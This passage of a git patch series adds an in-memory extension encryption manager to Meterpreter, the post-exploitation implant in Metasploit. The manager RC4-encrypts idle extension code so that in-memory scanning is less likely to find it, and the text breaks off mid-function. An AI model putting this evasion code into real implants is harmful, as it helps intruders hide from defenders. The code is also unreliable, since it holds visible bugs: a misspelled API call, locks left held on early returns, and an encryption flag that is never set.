From 1554bc2ba06c00bf20df3a597b3987a85d55a53c Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 2 Feb 2026 17:37:32 +0300 Subject: [PATCH 01/26] Add extension encryption manager --- .../source/metsrv/extension_encryption.c | 148 ++++++++++++++++++ .../source/metsrv/extension_encryption.h | 19 +++ c/meterpreter/workspace/metsrv/metsrv.vcxproj | 2 + .../workspace/metsrv/metsrv.vcxproj.filters | 2 + 4 files changed, 171 insertions(+) create mode 100644 c/meterpreter/source/metsrv/extension_encryption.c create mode 100644 c/meterpreter/source/metsrv/extension_encryption.h diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c new file mode 100644 index 000000000..15065a7a8 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -0,0 +1,148 @@ +#include "extension_encryption.h" + +extension_encryption_ctx* extension_statuses[MAX_EXTENSIONS] = { 0 }; + +BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx) { + BOOL ret = FALSE; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable) { + dprintf("[extension_encryption][extension_encryption_add] Either ExtensionCtx is NULL or Extension is not encryptable."); + return ret; + } + + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == NULL) { + extension_statuses[i] = ExtensionCtx; + ret = TRUE; + break; + } + } + if (!ret) { + dprintf("[extension_encryption][extension_encryption_add] Couldn't locate an empty member in extension_statuses array."); + } + return ret; +} + +BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx) { + BOOL ret = FALSE; + + if (ExtensionCtx == NULL) { + dprintf("[extension_encryption][extension_encryption_remove] ExtensionCtx is NULL."); + return ret; + } + + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == ExtensionCtx) { + extension_statuses[i] = NULL; + ret = TRUE; + break; + } + } + if (!ret) { + dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate ExtensionCtx in extension_statuses array."); + } + return ret; +} + +BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx) { + RC4_CTX RC4 = { 0 }; + size_t KeyLength = 0; + BOOL ret = FALSE; + unsigned char buff[4096] = { 0 }; + DWORD diff = 4096; + size_t ByteCounter = 0; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] Invalid ExtensionCtx."); + return ret; + } + + KeyLength = strlen(ExtensionCtx->key); + + if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { + dprintf("[extension_encryption][extension_encryption_encrypt] Either KeyLength is 0 or InitRc4 failed."); + return ret; + } + + for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { + if ((ExtensionCtx->size - i) < 4096) { + diff = ExtensionCtx->size - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + break; + } + if (!RC4Cipher(&RC4, buff, diff)) { + dprintf("[extension_encryption][extension_encryption_encrypt] RC4Cipher failed."); + ret = FALSE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + break; + } + } + if (ret) { + ExtensionCtx->encrypted = !ExtensionCtx->encrypted; + } + return ret; +} + +BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx) { + RC4_CTX RC4 = { 0 }; + size_t KeyLength = 0; + BOOL ret = FALSE; + unsigned char buff[4096] = { 0 }; + DWORD diff = 4096; + size_t ByteCounter = 0; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || !ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] Invalid ExtensionCtx."); + return ret; + } + + KeyLength = strlen(ExtensionCtx->key); + + if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { + dprintf("[extension_encryption][extension_encryption_decrypt] Either KeyLength is 0 or InitRc4 failed."); + return ret; + } + + for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { + if ((ExtensionCtx->size - i) < 4096) { + diff = ExtensionCtx->size - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + break; + } + if (!RC4Cipher(&RC4, buff, diff)) { + dprintf("[extension_encryption][extension_encryption_decrypt] RC4Cipher failed."); + ret = FALSE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + break; + } + } + if (ret) { + ExtensionCtx->encrypted = !ExtensionCtx->encrypted; + } + return ret; +} + +void extension_encryption_encrypt_unused() { + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == NULL || !extension_statuses[i]->encryptable || extension_statuses[i]->encrypted || (GetTickCount() - extension_statuses[i]->LastUsedTime) < 600000) { + continue; + } + if (!extension_encryption_encrypt(extension_statuses[i])) { + dprintf("[extension_encryption][extension_encryption_encrypt_unused] extension_statuses[%d] couldn't be encrypted.", i); + } + } +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h new file mode 100644 index 000000000..14870a8ce --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -0,0 +1,19 @@ +#include "rc4.h" +#include "common.h" + +#define MAX_EXTENSIONS 32 // ?? + +typedef struct { + BOOL encryptable; + BOOL encrypted; + LPCSTR key; + LPVOID loc; + DWORD size; + DWORD LastUsedTime; +} extension_encryption_ctx; + +BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx); +void extension_encryption_encrypt_unused(); \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..98c5a920c 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -571,6 +571,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -603,6 +604,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4fea91254..e3a7876c4 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -61,6 +62,7 @@ + From 72214ade18713e2c2b2d63149df83989c8f1095e Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 2 Feb 2026 15:48:03 -0500 Subject: [PATCH 02/26] feat: extension encryption manager, wiring to library loading and command handling --- c/meterpreter/source/metsrv/base.c | 21 + .../source/metsrv/extension_encryption.c | 399 +++++++++++++++--- .../source/metsrv/extension_encryption.h | 71 +++- c/meterpreter/source/metsrv/remote_dispatch.c | 14 +- 4 files changed, 421 insertions(+), 84 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..5094a09dc 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -3,6 +3,7 @@ * @brief Definitions that apply to almost any Meterpreter component. */ #include "metsrv.h" +#include "extension_encryption.h" // TODO: move these to a header? // Local remote request implementors @@ -426,6 +427,7 @@ BOOL command_handle(Remote *remote, Packet *packet) UINT commandId = packet_get_tlv_value_uint(packet, TLV_TYPE_COMMAND_ID); + ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); do { @@ -455,6 +457,21 @@ BOOL command_handle(Remote *remote, Packet *packet) break; } + + if(command != NULL && encryptionManager != NULL) { + ExtensionEncryptionStatus* extStatus = NULL; + if(encryptionManager->get((LPVOID)command, &extStatus)) { + if(extStatus != NULL && extStatus->bEncrypted) { + dprintf("[COMMAND] Decrypting Extension having command %u", commandId); + if(encryptionManager->decrypt(extStatus)){ + dprintf("[COMMAND] Extension Decrypted!"); + } else { + dprintf("[COMMAND] Extension Decryption failed!"); + } + } + } + } + // if either command is registered as inline, run them inline if ((command && command_is_inline(command, packet)) || packet->local) @@ -474,6 +491,10 @@ BOOL command_handle(Remote *remote, Packet *packet) thread_run(cpt); } } + if(encryptionManager != NULL) { + encryptionManager->encryptUnused(); + } + } while (0); return result; diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 15065a7a8..c104979e4 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -1,148 +1,409 @@ #include "extension_encryption.h" -extension_encryption_ctx* extension_statuses[MAX_EXTENSIONS] = { 0 }; +ExtensionEncryptionManager *g_ExtensionEncryptionManager = NULL; -BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx) { - BOOL ret = FALSE; +DWORD cyptographic_manager_debug_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { + *lpCryptoContext = NULL; + return 0; +} - if (ExtensionCtx == NULL || !ExtensionCtx->encryptable) { - dprintf("[extension_encryption][extension_encryption_add] Either ExtensionCtx is NULL or Extension is not encryptable."); - return ret; +DWORD cryptographic_manager_debug_encrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + if (dwDataOutSize < dwDataInSize) { + return 0; } - - for (int i = 0; i < MAX_EXTENSIONS; i++) { - if (extension_statuses[i] == NULL) { - extension_statuses[i] = ExtensionCtx; - ret = TRUE; - break; + memcpy(lpDataOut, lpDataIn, dwDataInSize); + return dwDataInSize; +} + +DWORD cryptographic_manager_debug_decrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + if (dwDataOutSize < dwDataInSize) { + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + return dwDataInSize; +} + +DWORD cryptographic_manager_rc4_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { + HANDLE hHeap = GetProcessHeap(); + if (hHeap == NULL) { + dprintf("[cryptographic_manager_rc4_initialize] GetProcessHeap failed."); + return ERROR_NOT_ENOUGH_MEMORY; + } + + *lpCryptoContext = (LPVOID) HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(RC4_CTX)); + if (*lpCryptoContext == NULL) { + dprintf("[cryptographic_manager_rc4_initialize] HeapAlloc failed."); + return ERROR_NOT_ENOUGH_MEMORY; + } + + RC4_CTX* ctx = (RC4_CTX*)(*lpCryptoContext); + InitRc4(ctx, (LPSTR)lpParams, strlen((LPSTR)lpParams)); + return 0; +} + +DWORD cryptographic_manager_rc4_refresh(LPVOID lpCryptoContext, LPVOID lpParams) { + RC4_CTX* ctx = (RC4_CTX*)lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_refresh] lpCryptoContext is NULL."); + return ERROR_INVALID_PARAMETER; + } + InitRc4(ctx, (LPSTR)lpParams, strlen((LPSTR)lpParams)); + return 0; +} + +DWORD cryptographic_manager_rc4_encrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + RC4_CTX* ctx = (RC4_CTX*)g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_encrypt] lpCryptoContext is NULL."); + return 0; + } + if (dwDataOutSize < dwDataInSize) { + dprintf("[cryptographic_manager_rc4_encrypt] dwDataOutSize is smaller than dwDataInSize."); + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + if (!RC4Cipher(ctx, (unsigned char*)lpDataOut, dwDataInSize)) { + dprintf("[cryptographic_manager_rc4_encrypt] RC4Cipher failed."); + return 0; + } + return dwDataInSize; +} + +DWORD cryptographic_manager_rc4_decrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + RC4_CTX* ctx = (RC4_CTX*)g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_decrypt] lpCryptoContext is NULL."); + return 0; + } + if (dwDataOutSize < dwDataInSize) { + dprintf("[cryptographic_manager_rc4_decrypt] dwDataOutSize is smaller than dwDataInSize."); + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + if (!RC4Cipher(ctx, (unsigned char*)lpDataOut, dwDataInSize)) { + dprintf("[cryptographic_manager_rc4_decrypt] RC4Cipher failed."); + return 0; + } + return dwDataInSize; +} + +BOOL cryptographic_manager_rc4(CryptographicManager* manager, LPVOID lpParams) { + LPCSTR key = (LPCSTR)lpParams; + if (manager == NULL) { + dprintf("[cryptographic_manager_rc4] Invalid parameters."); + return FALSE; + } + manager->bInitialized = TRUE; + manager->bNeedsRefresh = TRUE; + manager->initialize = cryptographic_manager_rc4_initialize; + manager->encrypt = cryptographic_manager_rc4_encrypt; + manager->decrypt = cryptographic_manager_rc4_decrypt; + manager->refresh = cryptographic_manager_rc4_refresh; + if(lpParams != NULL) { + manager->lpCryptoParams = (LPCSTR)lpParams; + } else { + manager->lpCryptoParams = (LPCSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, KEY_SIZE_RC4); + if (manager->lpCryptoParams == NULL) { + dprintf("[cryptographic_manager_rc4] HeapAlloc failed."); + return FALSE; + } + srand((unsigned int)GetTickCount()); + for(int i = 0; i < KEY_SIZE_RC4; i++) { + ((char*)manager->lpCryptoParams)[i] = (char)(rand() % 256); } } - if (!ret) { - dprintf("[extension_encryption][extension_encryption_add] Couldn't locate an empty member in extension_statuses array."); + if (manager->initialize(&manager->lpCryptoContext, (LPVOID)manager->lpCryptoParams) != 0) { + dprintf("[cryptographic_manager_rc4] Initialization failed."); + return FALSE; } - return ret; + return TRUE; } -BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx) { +BOOL cryptographic_manager_debug(CryptographicManager* manager, LPVOID lpParams) { + if (manager == NULL) { + dprintf("[cryptographic_manager_debug] manager is NULL."); + return FALSE; + } + manager->bInitialized = TRUE; + manager->bNeedsRefresh = FALSE; + manager->initialize = cyptographic_manager_debug_initialize; + manager->encrypt = cryptographic_manager_debug_encrypt; + manager->decrypt = cryptographic_manager_debug_decrypt; + manager->lpCryptoParams = NULL; + manager->refresh = NULL; + manager->lpCryptoContext = NULL; + return TRUE; +} + +ExtensionEncryptionManager* GetExtensionEncryptionManager(VOID) { + return g_ExtensionEncryptionManager; +} + +ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerType type, LPVOID lpCryptoParams) { + if (g_ExtensionEncryptionManager != NULL) { + return g_ExtensionEncryptionManager; + } + HANDLE hHeap = GetProcessHeap(); + if (hHeap == NULL) { + dprintf("[extension_encryption][extension_encryption_init_manager] GetProcessHeap failed."); + return NULL; + } + g_ExtensionEncryptionManager = (ExtensionEncryptionManager*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionManager)); + if (g_ExtensionEncryptionManager == NULL) { + dprintf("[extension_encryption][extension_encryption_init_manager] HeapAlloc failed."); + return NULL; + } + InitializeCriticalSection(&g_ExtensionEncryptionManager->cs); + g_ExtensionEncryptionManager->add = extension_encryption_add; + g_ExtensionEncryptionManager->remove = extension_encryption_remove; + g_ExtensionEncryptionManager->encrypt = extension_encryption_encrypt; + g_ExtensionEncryptionManager->decrypt = extension_encryption_decrypt; + g_ExtensionEncryptionManager->encryptUnused = extension_encryption_encrypt_unused; + + if(type == CRYPTOGRAPHIC_MANAGER_TYPE_RC4 ) { + if (!cryptographic_manager_rc4(&g_ExtensionEncryptionManager->cryptoManager, lpCryptoParams)) { + dprintf("[extension_encryption][extension_encryption_init_manager] cryptographic_manager_rc4 failed."); + HeapFree(hHeap, 0, g_ExtensionEncryptionManager); + g_ExtensionEncryptionManager = NULL; + return NULL; + } + return g_ExtensionEncryptionManager; + }else{ + if (!cryptographic_manager_debug(&g_ExtensionEncryptionManager->cryptoManager, lpCryptoParams)) { + dprintf("[extension_encryption][extension_encryption_init_manager] cryptographic_manager_debug failed."); + HeapFree(hHeap, 0, g_ExtensionEncryptionManager); + g_ExtensionEncryptionManager = NULL; + return NULL; + } + } + return g_ExtensionEncryptionManager; +} + +BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) { BOOL ret = FALSE; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + if (g_ExtensionEncryptionManager->dwExtensionsCount >= MAX_EXTENSIONS) { + dprintf("[extension_encryption][extension_encryption_add] Maximum number of extensions reached."); + return ret; + } + + if (lpExtensionLocation == NULL || dwExtensionSize == 0) { + dprintf("[extension_encryption][extension_encryption_add] Invalid parameters."); + return ret; + } - if (ExtensionCtx == NULL) { - dprintf("[extension_encryption][extension_encryption_remove] ExtensionCtx is NULL."); + g_ExtensionEncryptionManager->dwExtensionsCount++; + ExtensionEncryptionStatus* lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_add] HeapAlloc failed."); return ret; } + lpExtensionStatus->bEncryptable = TRUE; + lpExtensionStatus->bEncrypted = FALSE; + lpExtensionStatus->lpLoc = lpExtensionLocation; + lpExtensionStatus->dwSize = dwExtensionSize; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; + ret = TRUE; + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return ret; +} +BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus) { + BOOL ret = FALSE; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + if (lpHandlerFunction == NULL || lpOutExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_get] Invalid parameters."); + return ret; + } for (int i = 0; i < MAX_EXTENSIONS; i++) { - if (extension_statuses[i] == ExtensionCtx) { - extension_statuses[i] = NULL; + if (g_ExtensionEncryptionManager->extensionStatuses[i] != NULL + && g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc <= lpHandlerFunction + && (unsigned char*)lpHandlerFunction <(unsigned char*)g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc + g_ExtensionEncryptionManager->extensionStatuses[i]->dwSize) + { + *lpOutExtensionStatus = g_ExtensionEncryptionManager->extensionStatuses[i]; + ret = TRUE; + break; + } + } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return ret; +} + +BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { + BOOL ret = FALSE; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_remove] lpExtensionStatus is NULL."); + return ret; + } + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (g_ExtensionEncryptionManager->extensionStatuses[i] == lpExtensionStatus) { + g_ExtensionEncryptionManager->extensionStatuses[i] = g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1]; + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = NULL; + g_ExtensionEncryptionManager->dwExtensionsCount--; + HeapFree(GetProcessHeap(), 0, lpExtensionStatus); ret = TRUE; break; } } if (!ret) { - dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate ExtensionCtx in extension_statuses array."); + dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate lpExtensionStatus in extension_statuses array."); } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } -BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx) { - RC4_CTX RC4 = { 0 }; - size_t KeyLength = 0; +BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) { + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + BOOL ret = FALSE; - unsigned char buff[4096] = { 0 }; - DWORD diff = 4096; + unsigned char *lpTempBufferRead = NULL; + unsigned char *lpTempBufferWrite = NULL; + HANDLE hHeap = GetProcessHeap(); + DWORD diff = BUFFER_SIZE; size_t ByteCounter = 0; - if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { - dprintf("[extension_encryption][extension_encryption_encrypt] Invalid ExtensionCtx."); + if(!lpExtensionStatus->bEncryptable) { + dprintf("[extension_encryption][extension_encryption_encrypt] Extension is not encryptable."); return ret; } - KeyLength = strlen(ExtensionCtx->key); + if(lpExtensionStatus->bEncrypted) { + dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); + ret = TRUE; + return ret; + } + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { - dprintf("[extension_encryption][extension_encryption_encrypt] Either KeyLength is 0 or InitRc4 failed."); + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferRead."); + return ret; + } + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferWrite."); + HeapFree(hHeap, 0, lpTempBufferRead); return ret; } - for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { - if ((ExtensionCtx->size - i) < 4096) { - diff = ExtensionCtx->size - i; + LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; + DWORD ExtensionSize = lpExtensionStatus->dwSize; + + for(DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; } - ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); break; } - if (!RC4Cipher(&RC4, buff, diff)) { - dprintf("[extension_encryption][extension_encryption_encrypt] RC4Cipher failed."); + if (!g_ExtensionEncryptionManager->cryptoManager.encrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager encrypt failed."); ret = FALSE; break; } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); break; } } - if (ret) { - ExtensionCtx->encrypted = !ExtensionCtx->encrypted; - } + + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } -BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx) { - RC4_CTX RC4 = { 0 }; - size_t KeyLength = 0; +BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) { + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + BOOL ret = FALSE; - unsigned char buff[4096] = { 0 }; - DWORD diff = 4096; + unsigned char *lpTempBufferRead = NULL; + unsigned char *lpTempBufferWrite = NULL; + HANDLE hHeap = GetProcessHeap(); + DWORD diff = BUFFER_SIZE; size_t ByteCounter = 0; - if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || !ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { - dprintf("[extension_encryption][extension_encryption_decrypt] Invalid ExtensionCtx."); + if(!lpExtensionStatus->bEncryptable) { + dprintf("[extension_encryption][extension_encryption_decrypt] Extension is not encryptable."); return ret; } - KeyLength = strlen(ExtensionCtx->key); + if(!lpExtensionStatus->bEncrypted) { + dprintf("[extension_encryption][extension_encryption_decrypt] Extension is already decrypted."); + ret = TRUE; + return ret; + } + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { - dprintf("[extension_encryption][extension_encryption_decrypt] Either KeyLength is 0 or InitRc4 failed."); + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferRead."); + return ret; + } + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferWrite."); + HeapFree(hHeap, 0, lpTempBufferRead); return ret; } - for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { - if ((ExtensionCtx->size - i) < 4096) { - diff = ExtensionCtx->size - i; + LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; + DWORD ExtensionSize = lpExtensionStatus->dwSize; + + if( g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh ) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return FALSE; + } + g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = FALSE; + } + } + + for(DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; } - ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); break; } - if (!RC4Cipher(&RC4, buff, diff)) { - dprintf("[extension_encryption][extension_encryption_decrypt] RC4Cipher failed."); + if (!g_ExtensionEncryptionManager->cryptoManager.decrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager decrypt failed."); ret = FALSE; break; } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); if (!ret || ByteCounter != diff) { dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); break; } } - if (ret) { - ExtensionCtx->encrypted = !ExtensionCtx->encrypted; - } + + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } void extension_encryption_encrypt_unused() { - for (int i = 0; i < MAX_EXTENSIONS; i++) { - if (extension_statuses[i] == NULL || !extension_statuses[i]->encryptable || extension_statuses[i]->encrypted || (GetTickCount() - extension_statuses[i]->LastUsedTime) < 600000) { - continue; - } - if (!extension_encryption_encrypt(extension_statuses[i])) { - dprintf("[extension_encryption][extension_encryption_encrypt_unused] extension_statuses[%d] couldn't be encrypted.", i); + + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + ExtensionEncryptionStatus** extension_statuses = g_ExtensionEncryptionManager->extensionStatuses; + DWORD extensions_count = g_ExtensionEncryptionManager->dwExtensionsCount; + DWORD current_time = GetTickCount(); + for (DWORD i = 0; i < extensions_count; i++) { + 